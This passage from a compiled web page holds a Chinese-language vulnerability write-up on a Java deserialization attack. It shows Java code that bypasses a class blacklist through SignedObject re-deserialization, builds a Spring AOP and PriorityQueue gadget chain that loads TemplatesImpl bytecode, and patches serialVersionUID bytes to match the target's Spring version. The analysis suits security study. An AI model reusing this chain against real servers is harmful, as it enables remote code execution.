\u5728\u53cd\u5e8f\u5217\u5316",(0,l.jsx)(n.strong,{children:"\u8bfb\u53d6\u7c7b\u63cf\u8ff0\u7b26\u65f6"}),"\u5c31\u7acb\u5373\u89e6\u53d1\uff0c\u800c\u4e0d\u662f\u7b49\u5230\u5bf9\u8c61\u6784\u9020\u5b8c\u6210\u3002\u56e0\u6b64\u5e8f\u5217\u5316\u6d41\u4e2d\u53ea\u8981\u51fa\u73b0\u9ed1\u540d\u5355\u7c7b\u540d\uff0c\u5c31\u4f1a\u88ab\u7acb\u5373\u62e6\u622a\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"32-\u76f4\u63a5\u5bf9\u6297\u6548\u679c",children:"3.2 \u76f4\u63a5\u5bf9\u6297\u6548\u679c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Payload \u7c7b\u578b"}),(0,l.jsx)(n.th,{children:"\u9ed1\u540d\u5355\u62e6\u622a\u70b9"}),(0,l.jsx)(n.th,{children:"\u7ed3\u679c"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"CC1/CC6\uff08CommonsCollections\uff09"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"org.apache.commons.collections"})}),(0,l.jsx)(n.td,{children:"\u76f4\u63a5\u62e6\u622a"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Spring1\uff08JdkDynamicAopProxy\uff09"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy"})}),(0,l.jsx)(n.td,{children:"\u76f4\u63a5\u62e6\u622a"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"TemplatesImpl \u76f4\u63a5\u94fe"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"com.sun.org.apache.xalan"})}),(0,l.jsx)(n.td,{children:"\u76f4\u63a5\u62e6\u622a"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"\u672c\u6f0f\u6d1e payload\uff08\u5916\u5c42\u94fe\uff09"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"\u65e0\u9ed1\u540d\u5355\u7c7b"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"\u901a\u8fc7"})})]})]})]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u56db\u9ed1\u540d\u5355\u7ed5\u8fc7signedobject-\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316",children:"\u56db\u3001\u9ed1\u540d\u5355\u7ed5\u8fc7\uff1aSignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316"}),"\n",(0,l.jsx)(n.h3,{id:"41-signedobject-\u7684\u7279\u6b8a\u6027",children:"4.1 SignedObject \u7684\u7279\u6b8a\u6027"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"java.security.SignedObject"})," \u662f JDK \u539f\u751f\u7c7b\uff0c\u8bbe\u8ba1\u7528\u4e8e\u5bf9\u53ef\u5e8f\u5217\u5316\u5bf9\u8c61\u8fdb\u884c\u6570\u5b57\u7b7e\u540d\u3002\u5176\u6784\u9020\u51fd\u6570\u5c06\u76ee\u6807\u5bf9\u8c61",(0,l.jsx)(n.strong,{children:"\u518d\u6b21\u5e8f\u5217\u5316"}),"\u540e\u5b58\u50a8\u4e3a\u5b57\u8282\u6570\u7ec4\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff1aSignedObject \u6784\u9020\npublic SignedObject(Serializable object, PrivateKey signingKey,\n Signature signingEngine)\n throws IOException, InvalidKeyException, SignatureException {\n // \u5c06 object \u5e8f\u5217\u5316\u4e3a\u5b57\u8282\u6570\u7ec4\u5b58\u50a8\n ByteArrayOutputStream b = new ByteArrayOutputStream();\n ObjectOutputStream out = new ObjectOutputStream(b);\n out.writeObject(object);\n out.flush();\n out.close();\n this.content = b.toByteArray(); // \u5185\u5c42\u5e8f\u5217\u5316\u5b57\u8282\n // ... \u7b7e\u540d\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"getObject()"})," \u65b9\u6cd5\u53cd\u5411\u64cd\u4f5c\uff0c\u7528",(0,l.jsx)(n.strong,{children:"\u65b0\u5efa\u7684 ObjectInputStream"}),"\uff08\u65e0\u9ed1\u540d\u5355\uff09\u6765\u8fd8\u539f\u5bf9\u8c61\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff1aSignedObject.getObject()\npublic Object getObject()\n throws IOException, ClassNotFoundException {\n // \u5173\u952e\uff1a\u8fd9\u91cc\u7528\u7684\u662f\u666e\u901a ObjectInputStream\uff0c\u4e0d\u662f NCObjectInputStream\n ByteArrayInputStream b = new ByteArrayInputStream(this.content);\n ObjectInputStream in = new ObjectInputStream(b); // \u2190 \u65e0\u9ed1\u540d\u5355\uff01\n Object obj = in.readObject();\n b.close();\n in.close();\n return obj;\n}\n"})}),"\n",(0,l.jsx)(n.h3,{id:"42-\u7ed5\u8fc7\u793a\u610f",children:"4.2 \u7ed5\u8fc7\u793a\u610f"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u5916\u5c42\u53cd\u5e8f\u5217\u5316\uff08NCObjectInputStream\uff0c\u6709\u9ed1\u540d\u5355\uff09\n\u2502\n\u2502 \u5916\u5c42\u5e8f\u5217\u5316\u6d41\u53ea\u5305\u542b\u8fd9\u4e9b\u7c7b\uff1a\n\u2502 - java.util.PriorityQueue \uff08JDK \u539f\u751f\uff0c\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502 - java.security.SignedObject \uff08JDK \u539f\u751f\uff0c\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502 - org.springframework.aop.aspectj.* \uff08Spring AOP \u7cfb\u5217\uff0c\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502 - org.springframework.aop.framework.adapter.*\uff08\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502\n\u2514\u2500 \u67d0\u6761\u8def\u5f84\u89e6\u53d1 SignedObject.getObject()\n \u2502\n \u2514\u2500 \u5185\u5c42\u53cd\u5e8f\u5217\u5316\uff08\u666e\u901a ObjectInputStream\uff0c\u65e0\u9ed1\u540d\u5355\uff09\n \u2502\n \u2502 \u5185\u5c42\u5e8f\u5217\u5316\u6d41\u53ef\u5305\u542b\u4efb\u610f\u9ed1\u540d\u5355\u7c7b\uff1a\n \u2502 - JdkDynamicAopProxy\n \u2502 - TemplatesImpl\n \u2502 - \u4efb\u610f gadget chain\n \u2502\n \u2514\u2500 \u5b8c\u6574\u5229\u7528\u94fe\u6267\u884c\n"})}),"\n",(0,l.jsx)(n.h3,{id:"43-signedobject-\u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898",children:"4.3 SignedObject \u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"getObject()"})," \u5e76",(0,l.jsx)(n.strong,{children:"\u4e0d\u9a8c\u8bc1\u7b7e\u540d"}),"\uff08\u7b7e\u540d\u9a8c\u8bc1\u9700\u8981\u663e\u5f0f\u8c03\u7528 ",(0,l.jsx)(n.code,{children:"verify()"}),"\uff09\uff0c\u56e0\u6b64\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u53ef\u4ee5\u7528\u4efb\u610f RSA \u5bc6\u94a5\u5bf9\uff08\u8fd0\u884c\u65f6\u52a8\u6001\u751f\u6210\uff09\u6765\u6784\u9020 SignedObject"}),"\n",(0,l.jsxs)(n.li,{children:["\u63a5\u6536\u65b9\u7684 ",(0,l.jsx)(n.code,{children:"getObject()"})," \u4e0d\u7ba1\u7b7e\u540d\u662f\u5426\u6b63\u786e\u90fd\u4f1a\u6267\u884c\u53cd\u5e8f\u5217\u5316"]}),"\n",(0,l.jsx)(n.li,{children:"\u65e0\u9700\u77e5\u9053\u4efb\u4f55\u9884\u5171\u4eab\u5bc6\u94a5"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// PoC \u4e2d\u52a8\u6001\u751f\u6210\u5bc6\u94a5\u5bf9\uff0c\u7b7e\u540d\u4ec5\u4f5c\u4e3a\u683c\u5f0f\u5408\u89c4\uff0c\u4e0d\u5f71\u54cd getObject() \u89e6\u53d1\nKeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");\nkpg.initialize(2048);\nKeyPair kp = kpg.generateKeyPair();\nSignedObject so = new SignedObject(\n (Serializable) innerChain, // \u5185\u5c42\u5229\u7528\u94fe\n kp.getPrivate(),\n Signature.getInstance("SHA256withRSA")\n);\n// so.getObject() \u5728\u53cd\u5e8f\u5217\u5316\u65f6\u88ab\u89e6\u53d1\uff0c\u4e0d\u68c0\u67e5\u7b7e\u540d\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e94spring-aop-priorityqueue-\u94fe\u8be6\u89e3",children:"\u4e94\u3001Spring AOP PriorityQueue \u94fe\u8be6\u89e3"}),"\n",(0,l.jsxs)(n.p,{children:["\u6574\u6761\u94fe\u5206\u4e3a",(0,l.jsx)(n.strong,{children:"\u5916\u5c42\u94fe"}),"\u548c",(0,l.jsx)(n.strong,{children:"\u5185\u5c42\u94fe"}),"\uff0c\u7ed3\u6784\u76f8\u540c\uff0c\u89e6\u53d1\u76ee\u6807\u4e0d\u540c\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"51-priorityqueuereadobject--heapify",children:"5.1 PriorityQueue.readObject() \u2192 heapify()"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"java.util.PriorityQueue"})," \u7684\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5\u4f1a\u91cd\u5efa\u5806\u7ed3\u6784\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff1aPriorityQueue.readObject()\nprivate void readObject(java.io.ObjectInputStream s)\n throws java.io.IOException, ClassNotFoundException {\n s.defaultReadObject();\n // ...\n heapify(); // \u2190 \u89e6\u53d1\u70b9\n}\n\nprivate void heapify() {\n for (int i = (size >>> 1) - 1; i >= 0; i--)\n siftDown(i, (E) queue[i]);\n}\n\nprivate void siftDownUsingComparator(int k, E x) {\n // ...\n if (comparator.compare(x, (E) queue[child]) > 0) // \u2190 compare() \u88ab\u8c03\u7528\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6784\u9020\u8981\u70b9"}),"\uff1aPriorityQueue \u7684 ",(0,l.jsx)(n.code,{children:"comparator"})," \u5b57\u6bb5\u88ab\u8bbe\u7f6e\u4e3a ",(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy"})," \u4ee3\u7406\u5bf9\u8c61\uff0cqueue \u4e2d\u81f3\u5c11\u6709 2 \u4e2a\u5143\u7d20\u4ee5\u89e6\u53d1 ",(0,l.jsx)(n.code,{children:"siftDown"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"52-jdkdynamicaopproxy-\u4f5c\u4e3a-comparator",children:"5.2 JdkDynamicAopProxy \u4f5c\u4e3a Comparator"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy"})," \u5b9e\u73b0\u4e86 ",(0,l.jsx)(n.code,{children:"InvocationHandler"}),"\uff0c\u53ef\u4ee5\u4ee3\u7406\u4efb\u4f55\u63a5\u53e3\uff08\u5305\u62ec ",(0,l.jsx)(n.code,{children:"Comparator"}),"\uff09\u3002\u5f53 ",(0,l.jsx)(n.code,{children:"compare()"})," \u88ab\u8c03\u7528\u65f6\uff0c\u89e6\u53d1 ",(0,l.jsx)(n.code,{children:"invoke()"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// Spring \u6e90\u7801\uff1aJdkDynamicAopProxy.invoke()\npublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n // ...\n List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);\n\n if (chain.isEmpty()) {\n // \u65e0\u901a\u77e5\u94fe\uff0c\u76f4\u63a5\u8c03\u7528\u76ee\u6807\u65b9\u6cd5\n retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);\n } else {\n // \u6709\u901a\u77e5\u94fe\uff0c\u901a\u8fc7 ReflectiveMethodInvocation \u9a71\u52a8\n invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);\n retVal = invocation.proceed();\n }\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6784\u9020\u8981\u70b9"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"advised"}),"\uff08",(0,l.jsx)(n.code,{children:"AdvisedSupport"}),"\uff09\u7684 ",(0,l.jsx)(n.code,{children:"targetSource"})," \u6307\u5411\u5305\u542b ",(0,l.jsx)(n.code,{children:"SignedObject"}),"\uff08\u5916\u5c42\uff09\u6216 ",(0,l.jsx)(n.code,{children:"TemplatesImpl"}),"\uff08\u5185\u5c42\uff09\u7684 ",(0,l.jsx)(n.code,{children:"SingletonTargetSource"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"advised"})," \u7684 advisor \u5217\u8868\u5305\u542b ",(0,l.jsx)(n.code,{children:"AspectJMethodBeforeAdvice"})," \u5305\u88c5\u7684\u62e6\u622a\u5668"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"53-aspectjmethodbeforeadvice--matches--\u76ee\u6807\u65b9\u6cd5",children:"5.3 AspectJMethodBeforeAdvice \u2192 matches() \u2192 \u76ee\u6807\u65b9\u6cd5"}),"\n",(0,l.jsxs)(n.p,{children:["\u901a\u77e5\u94fe\u6267\u884c\u65f6\uff0c",(0,l.jsx)(n.code,{children:"MethodBeforeAdviceInterceptor"})," \u8c03\u7528 ",(0,l.jsx)(n.code,{children:"before()"}),"\uff0c\u6700\u7ec8\u901a\u8fc7 Pointcut \u7684 ",(0,l.jsx)(n.code,{children:"matches()"})," \u5224\u65ad\u5e76\u6267\u884c\u76ee\u6807\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// Spring \u6e90\u7801\uff1aAspectJMethodBeforeAdvice.before()\npublic void before(Method method, Object[] args, Object target) throws Throwable {\n invokeAdviceMethod(getJoinPointMatch(), null, null);\n // \u6b64\u5904\u4f1a\u89e6\u53d1 AspectJExpressionPointcut.matches()\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"AspectJExpressionPointcut.matches()"})," \u5728\u89e3\u6790\u5207\u70b9\u8868\u8fbe\u5f0f\u8fc7\u7a0b\u4e2d\uff0c\u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u4e86",(0,l.jsx)(n.strong,{children:"\u76ee\u6807\u5bf9\u8c61\u7684\u76ee\u6807\u65b9\u6cd5"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u5916\u5c42\uff1a\u76ee\u6807\u5bf9\u8c61 = ",(0,l.jsx)(n.code,{children:"SignedObject"}),"\uff0c\u76ee\u6807\u65b9\u6cd5 = ",(0,l.jsx)(n.code,{children:"getObject()"})," \u2192 \u89e6\u53d1\u5185\u5c42\u53cd\u5e8f\u5217\u5316"]}),"\n",(0,l.jsxs)(n.li,{children:["\u5185\u5c42\uff1a\u76ee\u6807\u5bf9\u8c61 = ",(0,l.jsx)(n.code,{children:"TemplatesImpl"}),"\uff0c\u76ee\u6807\u65b9\u6cd5 = ",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u2192 \u89e6\u53d1\u5b57\u8282\u7801\u52a0\u8f7d"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"54-\u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230-getobject--getoutputproperties",children:"5.4 \u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230 getObject() / getOutputProperties()"}),"\n",(0,l.jsxs)(n.p,{children:["Spring AOP \u7684 Pointcut \u8868\u8fbe\u5f0f\u5339\u914d\u4f7f\u7528 AspectJ \u5e95\u5c42\u5f15\u64ce\uff0c\u5728 ",(0,l.jsx)(n.code,{children:"matches()"})," \u4e2d\u5bf9\u76ee\u6807\u65b9\u6cd5\u8fdb\u884c",(0,l.jsx)(n.strong,{children:"\u53cd\u5c04\u8c03\u7528"}),"\uff08\u5177\u4f53\u8def\u5f84\u56e0\u7248\u672c\u800c\u5f02\uff09\uff0c\u6700\u7ec8\u7b49\u6548\u4e8e\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u5916\u5c42\uff1a\u89e6\u53d1 SignedObject.getObject()\nmethod.invoke(signedObject); // method = SignedObject.getObject\n\n// \u5185\u5c42\uff1a\u89e6\u53d1 TemplatesImpl.getOutputProperties()\nmethod.invoke(templatesImpl); // method = TemplatesImpl.getOutputProperties\n"})}),"\n",(0,l.jsx)(n.h3,{id:"55-\u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\u5916\u5c42\u94fe",children:"5.5 \u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\uff08\u5916\u5c42\u94fe\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u6784\u5efa\u5916\u5c42\u94fe\nAdvisedSupport as = new AdvisedSupport();\nas.setTargetSource(new SingletonTargetSource(signedObject)); // \u76ee\u6807\uff1aSignedObject\nas.addAdvisor(new DefaultPointcutAdvisor(\n aspectJPointcut, // AspectJExpressionPointcut\uff08SUID \u5df2 patch\uff09\n new AspectJMethodBeforeAdvice(method, expressionPointcut, factory)\n));\n\n// JdkDynamicAopProxy \u4f5c\u4e3a Comparator\nInvocationHandler handler = new JdkDynamicAopProxy(as);\nComparator comparator = (Comparator) Proxy.newProxyInstance(\n Comparator.class.getClassLoader(),\n new Class[]{Comparator.class},\n handler\n);\n\n// PriorityQueue \u5c01\u88c5\uff0c\u521d\u59cb size=2\nPriorityQueue pq = new PriorityQueue(2, comparator);\n// \u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e queue \u548c size\uff0c\u907f\u514d\u63d0\u524d\u89e6\u53d1 compare()\nField queueField = PriorityQueue.class.getDeclaredField("queue");\nqueueField.setAccessible(true);\nqueueField.set(pq, new Object[]{signedObject, signedObject});\nField sizeField = PriorityQueue.class.getDeclaredField("size");\nsizeField.setAccessible(true);\nsizeField.set(pq, 2);\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u516daspectjexpressionpointcut-suid-\u7248\u672c\u5dee\u5f02\u4e0e-patch",children:"\u516d\u3001AspectJExpressionPointcut SUID \u7248\u672c\u5dee\u5f02\u4e0e Patch"}),"\n",(0,l.jsx)(n.h3,{id:"61-\u4e3a\u4ec0\u4e48\u9700\u8981-patch-suid",children:"6.1 \u4e3a\u4ec0\u4e48\u9700\u8981 Patch SUID"}),"\n",(0,l.jsxs)(n.p,{children:["Java \u5e8f\u5217\u5316\u534f\u8bae\u8981\u6c42\uff1a\u53cd\u5e8f\u5217\u5316\u4e00\u4e2a\u7c7b\u65f6\uff0c\u6d41\u4e2d\u8bb0\u5f55\u7684 ",(0,l.jsx)(n.code,{children:"serialVersionUID"})," \u5fc5\u987b\u4e0e\u672c\u5730 JVM \u4e2d\u8be5\u7c7b\u7684 SUID \u5b8c\u5168\u4e00\u81f4\uff0c\u5426\u5219\u629b ",(0,l.jsx)(n.code,{children:"InvalidClassException: local class incompatible"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u5728",(0,l.jsx)(n.strong,{children:"\u672c\u5730"}),"\uff08Spring 5.3.39\uff09\u6784\u5efa payload\uff0c\u670d\u52a1\u5668\u8fd0\u884c ",(0,l.jsx)(n.strong,{children:"Spring 5.3.20"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u672c\u5730 Spring 5.3.39 \u2192 AspectJExpressionPointcut SUID = -1412488595531480267L\n\u670d\u52a1\u5668 Spring 5.3.20 \u2192 AspectJExpressionPointcut SUID = -2303280975268180194L\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u76f4\u63a5\u53d1\u9001\u65f6\uff0c\u670d\u52a1\u5668\u53cd\u5e8f\u5217\u5316\u4f1a\u56e0 SUID \u4e0d\u5339\u914d\u5931\u8d25\uff0c\u94fe\u8def\u4e2d\u65ad\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"62-\u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d-suid",children:"6.2 \u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d SUID"}),"\n",(0,l.jsxs)(n.p,{children:["Java \u5e8f\u5217\u5316\u6d41\u4e2d\uff0c\u7c7b\u63cf\u8ff0\u7b26\uff08",(0,l.jsx)(n.code,{children:"TC_CLASSDESC"}),"\uff0c\u6807\u8bb0 ",(0,l.jsx)(n.code,{children:"0x72"}),"\uff09\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"0x72 // TC_CLASSDESC\n[2B] class_name_length // \u7c7b\u540d\u957f\u5ea6\n[N B] class_name // \u7c7b\u540d\u5b57\u7b26\u4e32\uff08UTF-8\uff09\n[8B] serial_version_uid // SUID\uff08Big-Endian long\uff09\n[1B] class_desc_flags\n[2B] fields_count\n...\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5b9a\u4f4d\u65b9\u6cd5\uff1a\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u641c\u7d22\u7c7b\u540d\u5b57\u7b26\u4e32\n",(0,l.jsx)(n.code,{children:"org.springframework.aop.aspectj.AspectJExpressionPointcut"})," \u51fa\u73b0\u7684\u4f4d\u7f6e\uff0c\n\u5176\u540e 2 \u5b57\u8282\u8df3\u8fc7\uff082B \u7c7b\u540d\u957f\u5ea6\u672c\u8eab\u5305\u542b\u5728\u504f\u79fb\u8ba1\u7b97\u4e2d\uff09\uff0c\u518d\u504f\u79fb",(0,l.jsx)(n.strong,{children:"\u7c7b\u540d\u957f\u5ea6"}),"\u4e2a\u5b57\u8282\uff0c\u5373\u662f SUID \u7684 8 \u5b57\u8282\u4f4d\u7f6e\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"63-patch-\u5b9e\u73b0\u5b57\u8282\u66ff\u6362",children:"6.3 Patch \u5b9e\u73b0\uff08\u5b57\u8282\u66ff\u6362\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// SUID patch \u6838\u5fc3\u903b\u8f91\nstatic byte[] patchSUID(byte[] payload, String className,\n long oldSUID, long newSUID) {\n byte[] nameBytes = className.getBytes("UTF-8");\n byte[] oldBytes = toLongBytes(oldSUID); // -1412488595531480267L \u2192 8\u5b57\u8282\n byte[] newBytes = toLongBytes(newSUID); // -2303280975268180194L \u2192 8\u5b57\u8282\n\n for (int i = 0; i < payload.length - nameBytes.length - 10; i++) {\n // \u5339\u914d\uff1a[2B length][classname][oldSUID 8B]\n if (matches(payload, i, nameBytes)) {\n int suidOffset = i + nameBytes.length; // SUID \u7d27\u8ddf\u7c7b\u540d\n if (matches(payload, suidOffset, oldBytes)) {\n // \u66ff\u6362 SUID\n System.arraycopy(newBytes, 0, payload, suidOffset, 8);\n return payload;\n }\n }\n }\n throw new RuntimeException("SUID pattern not found");\n}\n\n// long \u2192 8\u5b57\u8282 Big-Endian\nstatic byte[] toLongBytes(long v) {\n return new byte[]{\n (byte)(v>>56),(byte)(v>>48),(byte)(v>>40),(byte)(v>>32),\n (byte)(v>>24),(byte)(v>>16),(byte)(v>>8),(byte)v\n };\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"Patch \u524d\u540e\u5bf9\u6bd4"}),"\uff08SUID \u5b57\u8282\u6bb5\uff09\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Patch \u524d\uff1aEC B7 CA 46 1A 59 B6 75 \uff08-1412488595531480267L\uff09\nPatch \u540e\uff1aE0 01 9E DC 53 7B 26 3E \uff08-2303280975268180194L\uff09\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e03templatesimpl-\u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236",children:"\u4e03\u3001TemplatesImpl \u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236"}),"\n",(0,l.jsx)(n.h3,{id:"71-getoutputproperties-\u89e6\u53d1\u8def\u5f84",children:"7.1 getOutputProperties() \u89e6\u53d1\u8def\u5f84"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff08com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\uff09\npublic synchronized Properties getOutputProperties() {\n try {\n return newTransformer().getOutputProperties();\n } catch (TransformerConfigurationException e) {\n return null; // \u2190 \u5f02\u5e38\u88ab\u541e\u6389\uff01\n }\n}\n\npublic synchronized Transformer newTransformer() {\n TransformerImpl transformer = new TransformerImpl(\n getTransletInstance(), ... // \u2190 \u89e6\u53d1\u5b57\u8282\u7801\u52a0\u8f7d\n );\n return transformer;\n}\n\nprivate Translet getTransletInstance() {\n if (_name == null) return null;\n if (_class == null) defineTransletClasses(); // \u2190 \u52a0\u8f7d\u5b57\u8282\u7801\n // ...\n return (Translet) _class[_transletIndex].newInstance(); // \u2190 \u5b9e\u4f8b\u5316\uff0c\u89e6\u53d1 \n}\n"})}),"\n",(0,l.jsx)(n.h3,{id:"72-definetransletclasses-\u52a0\u8f7d\u6d41\u7a0b",children:"7.2 defineTransletClasses() \u52a0\u8f7d\u6d41\u7a0b"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"private void defineTransletClasses() throws TransformerConfigurationException {\n // \u7528\u5185\u90e8 TransletClassLoader \u52a0\u8f7d\u6240\u6709 _bytecodes \u5b57\u8282\u7801\n TransletClassLoader loader = new TransletClassLoader(\n ObjectFactory.findClassLoader()\n );\n\n try {\n for (int i = 0; i < _bytecodes.length; i++) {\n _class[i] = loader.defineClass(_bytecodes[i]); // \u2190 defineClass \u52a0\u8f7d\n\n // \u68c0\u67e5\uff1a\u5fc5\u987b\u662f AbstractTranslet \u7684\u5b50\u7c7b\n Class superClass = _class[i].getSuperclass();\n if (superClass.getName().equals(ABSTRACT_TRANSLET)) {\n _transletIndex = i; // \u8bb0\u5f55 translet \u4e3b\u7c7b\u7d22\u5f15\n }\n }\n // \u5982\u679c _transletIndex \u4ecd\u4e3a -1\uff08\u6ca1\u627e\u5230 AbstractTranslet \u5b50\u7c7b\uff09\uff0c\u629b\u5f02\u5e38\n } catch (ClassFormatError e) {\n // \u2190 UnsupportedClassVersionError\uff08Java \u7248\u672c\u4e0d\u7b26\uff09\u88ab ClassFormatError \u5b50\u7c7b\u6355\u83b7\n // \u2190 \u9759\u9ed8\u541e\u6389\uff0cgetOutputProperties() \u8fd4\u56de null\uff0c\u94fe\u8def\u4e2d\u65ad\uff01\n } catch (LinkageError e) {\n // \u2190 VerifyError\uff08\u65b9\u6cd5\u7b7e\u540d\u5f15\u7528\u4e0d\u5b58\u5728\u7684\u7c7b\uff09\u88ab LinkageError \u5b50\u7c7b\u6355\u83b7\n // \u2190 \u540c\u6837\u9759\u9ed8\u541e\u6389\uff0c\u94fe\u8def\u4e2d\u65ad\uff01\n }\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5173\u952e"}),"\uff1a",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u548c ",(0,l.jsx)(n.code,{children:"LinkageError"})," \u90fd\u5728\u8fd9\u91cc\u88ab\u9759\u9ed8\u541e\u6389\uff0c\u5916\u5c42 ",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u518d\u6b21 catch ",(0,l.jsx)(n.code,{children:"TransformerConfigurationException"})," \u4e5f\u8fd4\u56de 